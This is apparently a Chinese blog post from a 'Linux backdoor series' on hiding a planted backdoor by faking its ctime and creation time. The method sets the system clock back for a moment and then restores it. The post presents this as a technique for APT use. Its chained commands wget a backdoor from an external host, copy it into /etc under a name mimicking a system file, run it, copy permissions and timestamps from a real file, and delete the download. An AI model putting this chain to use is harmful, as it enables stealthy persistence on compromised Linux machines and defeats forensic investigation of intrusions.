修改后门ctime | Linux 后门系列

0x00 前情提要

在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,让后门更加完美

  • atime -> access time, 访问时间

  • mtime -> modify time,修改时间

  • ctime -> change time, 状态变化时间

最新版 Linux 中多了一个属性,文件创建时间,在 Centos Stream 中叫做 created time,在 Ubuntu中叫 Birth time

0x01 ctime 简介

文件状态变化,ctime 就会变化,例如以下信息变化:

  • 文件内容变化

  • 文件属性变化

  • 文件权限变化

  • ...

也就是说我们手动修改 atime 或者 mtime 的时候, ctime 会自动更新为当前时间。ctime是随着改变而改变的

0x02 修改 ctime 的理论方法

由于ctime的特性,我觉得这个问题可以从三个角度去考虑

  • 改变更新文件时间戳的应用运行状态

  • 改变当前时间

  • 改变展示系统时间戳的应用以及属性

1. 改变更新文件时间戳的应用运行状态

从字面意思看,我们可以找到维护Linux文件时间戳的应用,之后对应用本身进行修改,这听起来就是一个十分困难和危险的操作

简单一点,就是停止运行系统,通过较为底层的层面去修改目标文件的ctime,这应该是可行的,只要我们掌握足够的知识,但是不适合在APT场景中使用

2. 改变当前时间

系统的ctime 更改采用的时间是当前系统时间,那么也就是说如果把系统时间手动设置为 2008年1月1日,再对文件状态进行更改,那么最终留下的 ctime 就是 2008年1月1日的了

但是改变系统时间可不是一件小事,可能导致某些程序出现错误,所以需要有效的恢复手段

3. 改变展示系统时间戳的应用以及属性

一般大家都用 stat 来查看文件的完整时间戳,修改 stat 命令来改变展示的 ctime 不是一件难事

但是,可以获取文件 ctime 的应用不止 stat 一款,加上自行通过系统调用获取等。所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的

0x03 系统时钟与硬件时钟

Linux 时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上

从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛

硬件时钟靠着BIOS电池供电,一直维持的一个时间,硬件都是按照这个时间来作为主要依据,每次开机会将计算机硬件时钟的时间的值作为系统时间

为了保证时间的准确性,操作系统一般会有时间同步的服务,也就是NTP服务,来让系统时间更加准确

详细知识可以查看鸟哥的网站

http://cn.linux.vbird.org/linux_server/0440ntp.php

查看系统时钟

date

查看硬件时钟

sudo hwclock --show

0x04 方案选择

改变系统时间的方式最适合APT场景,所以本次介绍这一种方案

0x05 时间修改与恢复

修改系统时间后恢复系统时间必须是瞬时的,较长时间的系统时间改变会造成某些应用故障

1. 系统时间修改

可以使用 date 命令或 timedatectl 来进行,需要 root权限,这里以 date 为例

date -s "时间字符串"

将系统时间设置为 2018年8月9日 10:11:12

sudo date -s "20180809 10:11:12"

这样就将系统时间修改了,但是由于 Ubuntu Server操作系统默认存在时间同步服务,刚修改完下一秒就会变回正常时间(即使是断网的情况下)

快到难以让人分辨到底修改成功没有,也正是这个特性,给我们省了非常多的事,稍后会说,Centos Stream 默认就没有这个特性...

2. ctime 时间修改

ctime 时间修改可以用三种方法

  • touch -at/-mt 这种会一并修改 atime或者 mtime

  • touch -r oldfile newfile 这种方案就是将newfile 的atime 和 mtime 都设置为和 oldfile 一样,同时 ctime 就是当前系统时间了

  • chmod 或者 chown 之类的,修改一下文件属性,例如 chmod +x newfile.sh

在之前的章节中,我们使用的就是 touch -r 这种方式来伪装后门为系统正常文件,这次我们也是选择 touch -r 来进行

3. 系统时间恢复

通过上面的指令,我们已经可以将文件的 ctime 伪装成和系统某些文件一模一样的状态了,现在面临的问题是如何恢复系统时间。可以从以下几个角度去考虑:

  • 若存在NTP服务程序且存在可连接的服务器,可以使用 ntp 服务立刻同步,最常用的两个程序:ntpdate 和 chrony

    ntpdate 不是系统自带的程序, chronyc 是 Centos Stream 自带的, chronyc 立即同步执行后也要等一段时间才会将系统时间完全同步正确

    • sudo ntpdate time.ntp.org

    • sudo chronyc makestep

  • 记录修改前的 date , 修改 ctime 后立刻改回来

    NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
    

    参考

    https://sysin.org/blog/how-to-change-file-date/#2-Linux(修改时间,访问时间)

这个操作可能会导致操作系统时间与原来差一丢丢,但应该不会差很多

  • 从硬件时间恢复操作系统时间

    • sudo hwclock --hctosys

这个命令的含义是使用硬件时间的值作为系统时间

为了防止原来的系统时间和硬件时间有较大差异,在修改系统时间之前可以先看一下系统时间和硬件时间是否有较大差距

sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"

可以看到,差距不大,可以考虑从硬件时间恢复系统时间

  • 修改前将系统时间覆盖到硬件时间,修改后恢复时从硬件时间恢复系统时间

    系统时间覆盖硬件时间

    sudo hwclock --systohc

    修改ctime

    balabal

    从硬件时间恢复系统时间

    sudo hwclock --hctosys

需要注意的是,这样的操作会彻底失去原来的硬件时间

0x06 新版本Linux 文件创建时间

Ubuntu Server 22.10 以及 Centos Stream 9 都有文件创建时间这个概念了

文件创建时间目前 touch 命令也不支持直接修改,也没有找到其他工具可以改,所以还是需要通过修改系统时间来进行

0x07 Ubuntu Server 22.10 实验

Ubuntu Server 即使断网使用 date -s 来修改系统时间,系统时间也会马上恢复

还是以 alias 后门那篇文章里的后门为例

默认情况下,/etc/update-manager/目录下有一个 release-upgrades 文件,我们设置一个后门,名字为 release-update,之后再将文件时间修改为和 release-upgrades 相近的时间

先查看一下 release-upgrades 文件的时间戳信息

stat /etc/update-manager/release-upgrades

Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
 Birth: 2022-11-02 06:36:59.067636265 +0000

atime 和 mtime 可以直接使用 touch -r 复制, change 和 Birth time(创建时间)通过调整系统时间来完成

这里用whoami 程序来模拟恶意程序,为明显区分文件和目录,后门程序名称为 whoami.elf

  1. 远程下载后门程序

    wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf"  -O /tmp/release-update
    
  2. 给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同)

    chmod +x /tmp/release-update
    
  3. 用系统时间覆盖硬件时间

    sudo hwclock --systohc
    
  4. 修改系统时间

    sudo date -s "20221102 06:36:59"
    
  5. copy 一份后门文件来满足文件创建时间模仿

    sudo cp /tmp/release-update /etc/update-manager/
    
  6. 如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节

    /etc/update-manager/release-update & 
    
  7. touch 模拟 release-upgrades 文件的 atime 和 mtime

    sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
    
  8. 从硬件时间恢复系统时间

    sudo hwclock --hctosys
    
  9. 删除下载的后门程序

    rm /tmp/release-update
    

之前说过,这些操作必须是瞬时完成的,所以我们把它们组合起来

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update

实验成功

PS:Ubuntu Server 其实可以没有第 3 步和第 8 步,因为操作系统会自动同步时间

我们去掉第 3 步和第 8 步试一下

实验依旧成功

0x08 Centos Stream 9 实验

Centos 这边依旧使用Ubuntu Server 中的 9 个步骤,不过Centos Stream 9 中没有 /etc/update-manager/这个文件夹,我们选择 /etc/selinux/ 这个目录

这里有一个 semanage.conf ,我们的恶意配置文件起名为 semanage.conf.example

由于模拟的是配置文件,我们服务器上的恶意配置文件的名称为 whoami.conf

我们需要把时间修改为 2022-11-02 00:37:06 目录和文件名也要进行对应修改

同时,既然是配置文件,我们将恶意配置文件的权限和所有权也都设置和同目录下正常文件一致(权限和所属方面要符合后门实际情况,不要造成修改后没有权限读取了)

sudo chmod --reference=正常配置文件 恶意配置文件
sudo chown --reference=正常配置文件 恶意配置文件

这一步放在第 5[6] 步与第 7 步之间

整体命令为(写命令时候一定要小心小心再小心,别写错了)

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example

实验成功!

相关推荐
中草药z31 分钟前
【Spring】深入解析 Spring 原理:Bean 的多方面剖析(源码阅读)
java·数据库·spring boot·spring·bean·源码阅读
地球资源数据云33 分钟前
全国30米分辨率逐年植被覆盖度(FVC)数据集
大数据·运维·服务器·数据库·均值算法
Ahern_1 小时前
Oracle 普通表至分区表的分区交换
大数据·数据库·sql·oracle
夜半被帅醒2 小时前
MySQL 数据库优化详解【Java数据库调优】
java·数据库·mysql
不爱学习的啊Biao2 小时前
【13】MySQL如何选择合适的索引?
android·数据库·mysql
破 风2 小时前
SpringBoot 集成 MongoDB
数据库·mongodb
Rverdoser2 小时前
MySQL-MVCC(多版本并发控制)
数据库·mysql
m0_748233642 小时前
SQL数组常用函数记录(Map篇)
java·数据库·sql
dowhileprogramming2 小时前
Python 中的迭代器
linux·数据库·python
0zxm3 小时前
08 Django - Django媒体文件&静态文件&文件上传
数据库·后端·python·django·sqlite